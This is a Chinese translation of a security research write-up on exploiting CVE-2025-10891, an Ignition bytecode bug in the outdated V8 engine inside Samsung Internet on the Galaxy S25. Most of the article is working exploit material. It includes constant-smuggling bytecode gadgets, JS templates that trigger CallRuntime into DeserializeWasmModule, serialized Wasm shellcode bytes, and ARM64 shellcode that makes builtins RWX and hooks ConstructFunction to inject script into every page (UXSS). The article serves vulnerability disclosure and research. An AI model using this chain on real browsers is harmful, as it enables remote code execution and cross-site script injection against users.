从 Patch Gap 到移动端渲染器 RCE:在 Galaxy S25 上 Pwning 三星浏览器的 V8

  • osecio
  • 发布于 1天前
  • 阅读 43

本文详细介绍了利用三星 Galaxy S25 浏览器中过时 V8 引擎漏洞(CVE-2025-10891)实现远程代码执行的过程。作者通过分析 Ignition 字节码解释器漏洞,利用常量走私、调用运行时函数及 ARM64 汇编Hook技术,最终在移动端实现了高影响力的通用型跨站脚本攻击(UXSS)。

Samsung Internet on the Galaxy S25 搭载了一个六个月前的 V8 版本,使其暴露在已知的公开漏洞中。本文将介绍我们如何利用字节码解释器漏洞,在浏览器中实现渲染器远程代码执行(RCE)和通用跨站脚本攻击(UXSS)。

Heading image of Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25

引言

当今软件领域的供应链依赖关系极其复杂。核心库中的任何漏洞都会为其依赖项创造一个可利用的窗口——维护者要么跟不上繁重的更新进度,回移植(backport)错误,甚至完全遗忘。

V8 引擎就是一个典型的例子,它广泛应用于 Chromium 和基于 Node.js 的软件中。通过与 Crusaders of Rust 安全研究小组合作,我们决定分析三星 Galaxy S25 上 Samsung Internet(三星手机默认浏览器)所使用的 V8 版本,希望能找到 N-day 漏洞的利用机会。

确定 V8 版本

我们首先通过 adb 从设备中提取 Samsung Internet 的 APK,并检查其附带的库文件。

提取 APK 后,我们在 lib/ 目录中搜索 v8::* 符号:

$ grep -r 'v8::' lib/
grep: lib/arm64-v8a/libterrace.so: binary file matches

只有一个文件匹配:libterrace.so。随后我们将其加载到反编译器中进行详细检查,并找到了内置的 V8 版本:

image1

令人惊讶的是,这个 13.6.233.10 版本在当时已经有六个月的历史,存在多个已知的公开漏洞。

漏洞选择

我们能够在本地编译的与目标版本匹配的 d8 上触发几个漏洞。其中一个是 CVE-2025-5419(存储-存储消除漏洞),我们成功在设备上运行了它。然而,该漏洞的利用需要堆喷射(heap spraying),在移植到手机时会产生严重的稳定性问题。

另一个是 CVE-2025-10891,这是 Ignition 字节码解释器中的一个漏洞。这个漏洞非常有吸引力,因为在 V8 沙箱模型下,字节码被视为受信任的,这意味着不需要额外的 Übercage 绕过。因此,我们决定进一步探索这个漏洞。

Ignition 字节码简介

V8 最初通过 Ignition 解释器将所有 JS 代码编译为字节码格式。这是一种简单的基于寄存器的虚拟机,具有固定大小的操作码(以及用于增加操作数宽度的前缀字节)。例如:

let a = 1;
let b = 0x0fff;
let c = 0x0fffffff;
let d = 0xffffffff;

编译后的字节码如下:

 # 将 Smi `1` 加载到累加器
 0 : 0d 01             LdaSmi [1]
 # 存储到寄存器 0
 2 : ce                Star0
 # 将 2 字节 Smi `0xfff` 加载到累加器
 3 : 00 0d ff 0f       LdaSmi.Wide [4095]
 # 存储到寄存器 1
 7 : cd                Star1
 # 将 4 字节 Smi `0xfffffff` 加载到累加器
 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]
 # 存储到寄存器 2
14 : cc                Star2
## `0xffffffff` 无法放入 Smi,因此在函数的常量池中分配一个 `HeapNumber` 并加载
15 : 13 00             LdaConstant [0]
## 存储到寄存器 3
17 : cb                Star3
18 : 0e                LdaUndefined
19 : b3                Return

根据优化需求,Ignition 字节码随后会通过 Sparkplug、Maglev 和 Turbofan JIT 编译器。V8 拥有四个编译器,这一切都是为了让开发者能继续“工程化”那些充斥现代互联网、耗费内存且消耗 CPU 的 Web 应用。

CVE-2025-10891 漏洞分析

该漏洞存在于 try/catch 块的处理中。这些块在函数中被编码为 [start, end) => handler 偏移量列表——如果在给定的字节码地址范围内抛出异常,则跳转到 handler

try {
  throw 1;
} catch {
  let b = 2;
}
 0 : 1b ff f8          Mov <context>, r1
 # try 块开始
 # ---------------------------------
 3 : 0d 01             LdaSmi [1]
 5 : b1                Throw
 # ---------------------------------
 6 : 10                LdaTheHole
 7 : b0                SetPendingMessage
 # catch 处理程序开始
 8 : 0d 02             LdaSmi [2]
10 : ce                Star0
11 : 0e                LdaUndefined
12 : b3                Return
Handler Table (size = 16)
   from   to       hdlr (prediction,   data)
  (   3,   6)  ->     6 (prediction=1, data=1)

然而,handler 偏移量存储在一个 28 位的位域中。如果 catch 块的地址超过 28 位,它将被静默截断。这将导致跳转到代码的完全不同部分——甚至是指令的中间。

如初始报告所述,生成足够大函数的一种简单方法是发出许多 yield* 语句,因为这会大幅增加 Ignition 字节码的大小。

漏洞利用

常量走私 (Constant Smuggling)

我们最初的利用方法灵感来自“shellcode 走私”技术。在浏览器漏洞利用中实现任意读写后,我们通常可以 JIT 编译如下函数:

let a = -9.255963134931783e61;
let b = -9.255963134931783e61;
let c = -9.255963134931783e61;
let d = -9.255963134931783e61;

这些浮点常量将在机器码内部编译为 8 字节常量(其中最后 2 字节用于跳转到下一个常量)。

我们在这里使用类似的原理,尽管受限得多。通过:

let a = 0x0693bebe;

我们将编译出字节码:

01 0d be be 93 06 LdaSmi.ExtraWide

我们可以跳转到第 3 个字节(0xbe),获得 2 字节的可控执行空间,随后是 0x93 0x02 - 0xfJump +[2-15])以跳转到下一个常量。

注意,随着后续存储指令因存储到更深寄存器而变长,跳转常量也会改变。存储到寄存器 1-15 会产生简单的单字节 StarX 指令,寄存器 16-121 产生两字节的 Star rX 指令,下一批则产生 4 字节的 Star.ExtraWide rX 指令。

通过这些短跳转,我们可以构建一个巨大的常量跳转滑块,例如 0x8931111

let a206 = 0x8931111;
let a207 = 0x8931111;
let a208 = 0x8931111;
let a209 = 0x8931111;
let a210 = 0x8931111;
let a211 = 0x8931111;
let a212 = 0x8931111;

这些指令的结果是:

00: LdaTrue;
01: LdaTrue;
02: Jump +8;  >------------+
04: Star rX + LdaSmi ...   |
v--------------------------+
0a: LdaTrue;
0b: LdaTrue;

Jump 指令的偏移量是加在指令开始处的。)

LdaSmi.ExtraWide 指令的 6 个字节中,有 3 个字节可以有效地合并到走私的任意 Ignition 字节码中。这种滑块极大地简化了漏洞开发,因为任何额外的代码都会导致异常表产生新的偏移量。

利用目标

最初我们考虑使用 Star/Ldar 指令存储到越界的寄存器索引,因为寄存器存储在常规栈上。然而,仅用 2 字节我们只能访问 +/- 0x7f 范围内的寄存器,这不足以访问到关键值。

我们意识到寄存器偏移量 0 和 1 分别包含保存的帧指针 and 返回地址。我们考虑利用这一点进行栈劫持(stack pivot)和 ROP。但这种方法有很多缺点——主要是我们需要多次泄露二进制地址和 JS 堆(以构建带有伪造栈帧的缓冲区)。

此外,解释器期望所有值都是标记过的 V8 值(即 32 位压缩指针或 Smi)。这意味着对 64 位地址的操作可能会导致意外的截断或符号扩展。

最后,基于 ROP/栈劫持的方法在从 x86_64 开发机移植到 aarch64 目标设备时需要大量工作,考虑到 Galaxy S25 上存在 PAC 和 BTI,这甚至可能不可行。

此时,我们发现了一个有趣的操作码:CallRuntime。运行时函数用于实现许多核心 V8 功能,是暴露给字节码的本地函数。许多函数功能强大,因为输入被假定为受信任的,其中一个尤为突出:DeserializeWasmModule

WebAssembly 模块可以由运行时内部进行序列化和反序列化——这种序列化格式包括任何 JIT 编译函数的原始机器码。DeserializeWasmModule / SerializeWasmModule 本身仅用于测试函数,且由于极易被滥用,已在最近的生产版本 V8 中被移除。

然而,调用此操作码面临巨大挑战: CallRuntime <func-id> <args> <argc> 其中 func-id 是 2 字节函数 ID,args 是传递的最后一个寄存器的索引,argc 是参数个数。这需要 5 字节的控制权——此外,我们还必须将累加器安全地存入寄存器,然后将值返回给 JS 代码。

增强字节码控制

幸运的是,Ignition 中的算术指令具有“反馈向量槽(feedback vector slot)”功能,用于存储分析信息以供 Turbofan 后续优化。观察发现,对于 AddSmi 指令,它代表了目前为止对目标值执行的操作次数。

例如,查看以下 Ignition 反汇编:

2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]
2006 : cd                Star1
2007 : 00 1b ff ff 1d ff Mov.Wide <context>, r220
2013 : 0b f8             Ldar r1
2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]
2025 : 0b f8             Ldar r1
2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]
2037 : 0b f8             Ldar r1
2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]
2049 : 0b f8             Ldar r1
2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]
2061 : 0b f8             Ldar r1
2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]

可以看到反馈向量槽随每次操作递增。这意味着通过 AddSmi.ExtraWide 走私的跳转滑块,在有足够加法指令的情况下,我们可以控制近 8 个字节。

最终,我们可以达到如下阶段:

4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]

如果跳过前两个字节,你将得到:

  • CallRuntime (0x6c) 调用 DeserializeWasmModule (0x0266),从寄存器 a2 (0x4) 开始,带有 2 个参数 (0x2)。这变成了调用:DeserializeWasmModule(a2, a1)
  • 一个 Jump 指令

返回 JavaScript 层

调用之后,结果存储在累加器中。由于此函数是一个异步生成器,我们需要 yield 结果,但这会产生一系列我们无法走私的长指令。

解决方案很简单:我们利用走私的控制流合并回正常的控制流,从而引导我们进入原始 JS 的 yield。例如,在我们的利用中,所有加法都在 try 块中完成:

try {
  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}
  a1 + 0x0402666c;
  throw 0x393e91a;
} catch (e) {
  console.log("foo");
  yield a16;
}

从最后的 AddSmi 开始:

 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]
 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]
 4385790 : b1                Throw
 4385791 : 00 1a 1a ff       Star.Wide r223

AddSmi 中走私的跳转将重定向到 1a e9 93 03,结果为:

  • Star r16(将累加器存入 r16)
  • Jump 跳过 throw 进入 catch 相关代码

这将带我们顺利进入最后的 yield a16,现在我们拥有了一个包含任意机器码的反序列化 Wasm 模块。

执行 Shellcode

为了测试,我们首先序列化一个小的 WebAssembly 模块并打印结果:

var wasm_code = new Uint8Array([
  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,
  0, 0, 10, 4, 1, 2, 0, 11,
]);
var mod = new WebAssembly.Module(wasm_code);
var inst = new WebAssembly.Instance(mod);
var func = inst.exports.shell;

%WasmTierUpFunction(func);
var serialized = %SerializeWasmModule(mod);
let result = new Uint8Array(serialized);
console.log('[' + result.join(', ') + ']');

输出如下:

[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]

字节 85, 72, 137, 229, ... 对应 x86-64 函数序言。我们将第一个字节替换为 0xccint3 指令),并将此修改后的缓冲区作为 DeserializeWasmModule 的输入:

(async () => {
  const wasm_code = new Uint8Array([
    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,
    0, 0, 10, 4, 1, 2, 0, 11,
  ]);
  const buffer = new Uint8Array([
    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,
    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,
    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,
    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,
  ]);
  let r = bug(wasm_code, buffer.buffer);
  result = (await r.next()).value;
  const wasm_instance = new WebAssembly.Instance(result);
  const f = wasm_instance.exports.shell;
  f();
})();

在调试器中运行显示了预期的断点:

Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
0x00002ae46bfc1841 in ?? ()
────────────────────────────────────────────────────────────────────────────
   0x2ae46bfc183c                  add    BYTE PTR [rax], al
   0x2ae46bfc183e                  add    BYTE PTR [rax], al
   0x2ae46bfc1840                  int3
 → 0x2ae46bfc1841                  mov    rbp, rsp

移植到 Android 平台

序列化的 x86-64 代码无法在设备上使用,因为架构不同。我们为 arm64 交叉编译了 d8 并序列化了模块,但在设备上仍然无法工作。

因此,我们修改了字节码以直接在设备上调用 SerializeWasmModule。思路是在设备上序列化代码,然后将结果字节反馈回调用 DeserializeWasmModule 的原始字节码。

try {
  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}
  a1 + 0x03027a6c;
  throw 0x393e71a;
} catch (e) {
  console.log("foo");
  yield a16;
}

这里,a1 + 0x03027a6c 生成字节 01 4b 6c 7a 02 03,其中 0x6cCallRuntime 操作码,0x027aSerializeWasmModule 的函数 ID。

为了避免再次修补字节码来调用 WasmTierUpFunction,我们可以强制 Turbofan 编译目标函数:

for (let i = 0; i < 0x100000; i++) {
  func();
}

在设备上运行后,我们获得了序列化字节:

image2

现在我们可以将这些输出嵌入到调用 DeserializeWasmModule 的原始字节码中:

image3

实现通用 XSS (UXSS)

至此,我们已在渲染器进程中实现了任意 shellcode 执行。虽然通常利用到此为止,进一步访问需要浏览器沙箱逃逸,但我们决定探索另一种路径:UXSS。

与普通的 XSS 不同,UXSS 是一种客户端浏览器漏洞,允许在网站的所有页面中注入任意 JavaScript。虽然桌面版 Chromium 的站点隔离(Site Isolation)可以防止这种情况,但 Android 版的缓解措施较弱——只有带有登录和 COOP 标头的网站才会进行进程级隔离。这意味着大多数网页都在同一个渲染器进程中,因此对解释器的任何修补都会影响所有网页,从而导致 UXSS。

为了实现 UXSS,我们需要Hook(hook)一个在站点加载期间调用的函数。我们观察到每个访问的站点最终都会调用 Builtins_ConstructFunction,这使其成为一个理想的目标。

我们的目标是让 Builtins_ConstructFunction 先执行我们的 XSS 负载,然后继续其正常行为。

ARM64 shellcode 实现如下:

// 获取返回地址到 x0
ldr x0, [sp, #0x18]
// 从返回地址中剥离 PAC 签名
.arch armv8.3-a; xpaci x0

// 存储 x5 = Builtins_ConstructFunction
movz x1, #0x610c
sub x0, x0, x1
mov x5, x0

// 存储 x4 = 页面对齐的 ConstructFunction
movz x1, #0xf000
movk x1, #0xffff, lsl #16
movk x1, #0xffff, lsl #32
and x4, x5, x1

// mprotect 页面对齐的 ConstructFunction 为 RWX
mov x0, x4
mov x1, #0x2000
mov x2, #0x7
mov x8, #226
svc #0

mov x6, x5

// 为跳转目标 mmap RWX 空间 (uxss_sc)
mov x0, #0
mov x1, #0x1000
mov x2, #0x7
mov x3, #34
mov x4, #-1
mov x5, #0
mov x8, #222
svc #0

mov x5, x0

// 写入 uxss_sc 到 mmap 的 rwx 页面
{write_sc(uxss_sc, "x5")}

// 清除缓存
mov x0, x5
{WIPE_CACHE}

// Hook Builtins_ConstructFunction
{write_sc(new_compile_instrs, "x6")}
str x5, [x6, #{5 * INSTR_SIZE}]

// 清除缓存
mov x0, x6
{WIPE_CACHE}

我们选择使用 DebugEvaluate::Global 来执行 XSS 负载,因为它没有安全检查,且调用非常直接。最终执行 XSS 负载的 shellcode 如下:

// 获取 isolate 指针
movz x1, #0xf7a0
movk x1, #0x0071, lsl #16
add x9, x12, x1
movz x1, #0x5ac8
movk x1, #0x054f, lsl #16
add x0, x12, x1
blr x9

// 调用 v8::String::NewFromUTF8 构造 payload 字符串
mov x0, x13
mov x1, x11
mov x2, #0
mov w3, #{len(XSS_PAYLOAD)}
blr x10

// 调用 v8::internal::DebugEvaluate::Global 执行 JS
mov x0, x13
mov x1, x14
mov x2, #0
mov x3, #0
blr x9

UXSS 演示

以下是执行 UXSS 负载 alert(document.domain); window.location.href = "https://cor.team/"; 的演示。

Your browser does not support the video tag.

总结

鉴于现代软件生态系统的复杂性,在流行应用中发现过时的核心库并不令人意外。Samsung Internet 依赖于六个月前的 V8 版本,这为 N-day 利用提供了一个巨大的窗口。

虽然渲染器漏洞通常需要与沙箱逃逸配合使用,但我们通过针对移动端较弱的站点隔离机制,突破了该漏洞的能力限制。由于大多数网页在同一进程下运行,我们可以向 JavaScript 解释器注入 shellcode,从而在 Samsung Internet 浏览器中实现通用 XSS。

  • 原文链接: osec.io/blog/2026-04-01-...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
osecio
osecio
Audits that protect blockchain ideas.